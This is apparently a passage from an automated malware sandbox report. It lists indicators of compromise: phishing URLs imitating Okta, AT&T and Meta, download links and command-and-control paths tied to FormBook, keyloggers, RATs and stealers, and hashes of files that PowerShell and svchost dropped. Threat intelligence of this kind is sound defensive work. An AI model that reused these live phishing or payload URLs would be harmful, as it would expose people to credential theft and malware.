	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse
188.114.97.3	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
172.67.132.65	https://www.google.se/amp/s/brief-beak-14b.notion.site/Accounting-4-U-e5c22e5a50ee496eb2376c15d363fa46?pvs=4	Get hash	malicious	HTMLPhisher	Browse
162.159.135.234	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	http://bafybeid2klgyiphng6ifws5s35aor57wfi3so6koe2w4ggoacn6gqghegm.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse
	https://bafybeid655cmhe6uwb6wx3qrnokcfyddv63kcnzkm3whfn2xbjyyhukh2m.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse
	http://via.evove.top	Get hash	malicious	Unknown	Browse
	test.exe	Get hash	malicious	Unknown	Browse
	windisc.exe	Get hash	malicious	Discord Token Stealer	Browse
	SecuriteInfo.com.Other.Malware-gen.12648.25881.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.3459.12800.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.SpywareX-gen.2363.7900.exe	Get hash	malicious	Unknown	Browse
	ChromeInstallerOnline.exe	Get hash	malicious	Dicrord Rat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
me-ycpi-cf-www.g06.yahoodns.net	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	87.248.119.251
	https://currently8220.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.251
	http://loginscrecghjk.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.251
	http://currentlyatt57update.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.251
	http://currently1980.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.252
	http://currently6600.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.251
	https://tu4att.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.252
	http://currently9876.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.252
	https://aac4b0887827b3598989c48a201d0420.crimachado.com.br/wehrgiwfbfeifef/djbfhokefbwuwrjow/djhfeokhrwihfekljd/bnpheWVkaUBzdGMuY29tLnNh	Get hash	malicious	HTMLPhisher	Browse	87.248.119.251
	https://currently431.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	87.248.119.252
gateway.discord.gg	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	162.159.135.234
	https://bafybeihwopeeamsw6gk3vbg3wbftvt3n2qngbzo5a4hlnpvlv4hc3vvmyy.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse	162.159.136.234
	https://mjj.aigc369.com/	Get hash	malicious	Unknown	Browse	162.159.133.234
	http://relay.csgoze520.com/	Get hash	malicious	Unknown	Browse	162.159.136.234
	Client-built.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	Client-built.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	87Bym0x4Fy.exe	Get hash	malicious	Blank Grabber, DCRat, Discord Rat, PureLog Stealer, Xmrig, zgRAT	Browse	162.159.130.234
	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.134.234
	Client-built.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	QMGuBtu724.elf	Get hash	malicious	Unknown	Browse	162.159.133.234

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	162.159.135.234
	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	HdXeCzyZD9.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	update SOA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
CLOUDFLARENETUS	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	162.159.135.234
	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	HdXeCzyZD9.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	update SOA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
CYBERNET-APCyberInternetServicesPvtLtdPK	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	203.101.184.86
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	124.29.195.152
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	58.65.218.110
	LisectAVT_2403002B_136.dll	Get hash	malicious	Emotet	Browse	175.107.196.192
	RiI7W2cj7p.elf	Get hash	malicious	Unknown	Browse	175.107.255.200
	SHIPMENT-CMA CGM-1DBSIE1P-DOCX.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	72.255.53.7
	SHIPMENT-CMA CGM XIAMEN-1DBSIE1PL- EX1-DOCX.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
	rCjg912Ssb.elf	Get hash	malicious	Mirai	Browse	103.213.114.223
	Scanned Documents.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
	Newly Arrived Shipping Document.exe	Get hash	malicious	FormBook	Browse	72.255.53.7
CLOUDFLARENETUS	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	162.159.135.234
	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	HdXeCzyZD9.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	update SOA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	U7TJ7Rq13y.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	52.165.165.26
	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	52.165.165.26
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	52.165.165.26
	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26
	http://tr.padlet.com/redirect/?url=http://dctools.mooo.com/smileyes/dhe/succes/pure/dad/mom/kid/she/qwerty/careese.pfund@stcotterturbine.com	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	52.165.165.26
	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse	52.165.165.26
3b5074b1b5d032e5620f69f9f700ff0e	U7TJ7Rq13y.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	0d145776475200f49119bfb3ac7ac4dd4e20fadd0fd7b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	3140, EUR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.149.9 188.114.97.3 162.159.135.234
	UhkzPftQIt.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.149.9 188.114.97.3 162.159.135.234

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7354991854739628
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqC:2JIB/wUKUKQncEmYRTwh0y
MD5:	9CA6288E77BA0F0FB13CB864E30310A2
SHA1:	EB427A7B9F5EDF54384E904AE1B965C26A29EE94
SHA-256:	17511B9D954AE2689DBAFC39F28E62E065C94F05F483BC1F9A28091413CCBF39
SHA-512:	7BC4C24EDDF36DB2764FF2D29EE66B4C4E5671316C1A3E229463891FEE1713019AB3D3569C05DC4CB5CB8A8F61B085CAF2B86B586307AF005B05CF0326CF05C4
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x67b4f964, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900162886100845
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:7azaPvgurTd42UgSii
MD5:	DF0131116EEFCF97C90613331FD0E4A5
SHA1:	AFEA8FE6EE560A4F63F464DCC86D7B11EC55A2CA
SHA-256:	CC484FE56935A4491CCDDC165ECB96A2DF1EE9E62795F7E6755A179D411D160B
SHA-512:	75E5D58ACC27F632F127F3B2A0137ACE1B244FF15CCA567277DDB3DDF429142ACC9898ED6C05B57F5EF21057DFCE96771E19FB446C65B71321F5BF08ED6D627D
Malicious:	false
Preview:	g..d... ...............X\...;...{......................0.`.....42...{5..:...\|I.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................?...:...\|I.................]Yy..:...\|I..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08239311852983172
Encrypted:	false
SSDEEP:	3:NAlll/KYeLK+Xilqt/57Dek3JaHyUltallEqW3l/TjzzQ/t:NAl/KzLsAR3tq4md8/
MD5:	8D5B95032E84FBE5D51522CC89E84652
SHA1:	9F1DBF169071D594395250788627E6631918DEE2
SHA-256:	A4C5254E02E5CF0D9E647F37C0DB5D1D51C2A4D95BDD0421044B9EED61ADC3DB
SHA-512:	36AFC32CD31FD9D78C73DA233A09608B124E7BCC3AA875378A0BB5386E3BBA60C4C79855989DB84F47DB79B85CBFC06E56F60903D4FF4F59795B38A9D25DE1C9
Malicious:	false
Preview:	7.F......................................;...{...:...\|I.42...{5.........42...{5.42...{5...Y.42...{59................]Yy..:...\|I.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdR2Ca6pZlbjvwRjdHPRhAgkjDt4iWN3yBGHVQ9sQ:9rib4ZoopbjvwRjdvRNkjh4iUxsT6YpR
MD5:	6F4062C990C67D040ABC7B0F73689E66
SHA1:	93421F047B440E9F62456C3E2EC1E6C842DA6A80
SHA-256:	978EF65DE3DD792E7982FAAC8AC3C878936C94E2BCE7E17C56C604E5C68745F2
SHA-512:	729AB7D57FB7D3405110D7F3C33F15057FE7DFB6DBDFFD5BD1D9F13C12C6448A70D0C39BC646F74B6A38E1708318CD4AE3D9DB1EF148815E80C30EB0122EEA57
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3092
Entropy (8bit):	5.518768346219927
Encrypted:	false
SSDEEP:	96:pQeAzlHyIFKL2O9qrh7KCDpuTJ5Eo9AdrxQgP:pO1yt2jrACluTLL2NP
MD5:	30209A02326996800751223641F1E24E
SHA1:	BAE59B4327826D9692513BBB1B724019AF8A64C5
SHA-256:	1FF0BEDFD8CEC06E53CF7A7E0FF4B9B8CAA7771AF4DCB604E76257814C74D6B8
SHA-512:	672FE9FA51EE76AB6D20289410706E5CBBB53CBC846ED5EFAC7B92F661F02FC2C10004B8533A45AAD6A484B2CD03290300B786767F31C98DDEAFBDB886B3B46D
Malicious:	false
Preview:	@...e................................................@..........H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	5.401483527381133
Encrypted:	false
SSDEEP:	24:32SKco4KmM6GjKbmuuo+mN1s4RPQoUxqr9t7J0gt/NKCpnd+9N9rGTNk:GSU4Yymdo+ms4RIoUxqr9tK8NLpk9N9v
MD5:	FD80B32BF823DE55A17B8220B80F6DCB
SHA1:	83B6EB55598CF0DA7FCE2B0C6878220FC38C6753
SHA-256:	9676112403FD1F3B279F7BFF8265D4409604BD090065D6A8B9B61C0135629C35
SHA-512:	7921B98A8B4CD0ED0D624D4708519718DC49164BD652E7FBFB9B908A59C0F262365D14A77CAF9D7D9F960F89482DED78AA1EDAF95591783D8B86E78443EFE588
Malicious:	false
Preview:	@...e.................................,..............@..........@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dy3xtur.tes.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5onnppu0.p5k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pih2ij0y.e4u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pwa5eyqo.qly.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2ivsxxt.i2b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqjrxfv3.nua.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skze2vw1.cjt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sy3tgymg.3tl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\87aaedf5acf4fa53.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4604
Entropy (8bit):	3.7970972150752185
Encrypted:	false
SSDEEP:	48:WHs4W5JYJlFlV+bTRl6eSogZo8JWJallV+bTRlJeSogZo8JWJO1:WplV+bTRWHDlV+bTR7HH
MD5:	B582DB02B9B67A492AC10BF5CF1E2F6C
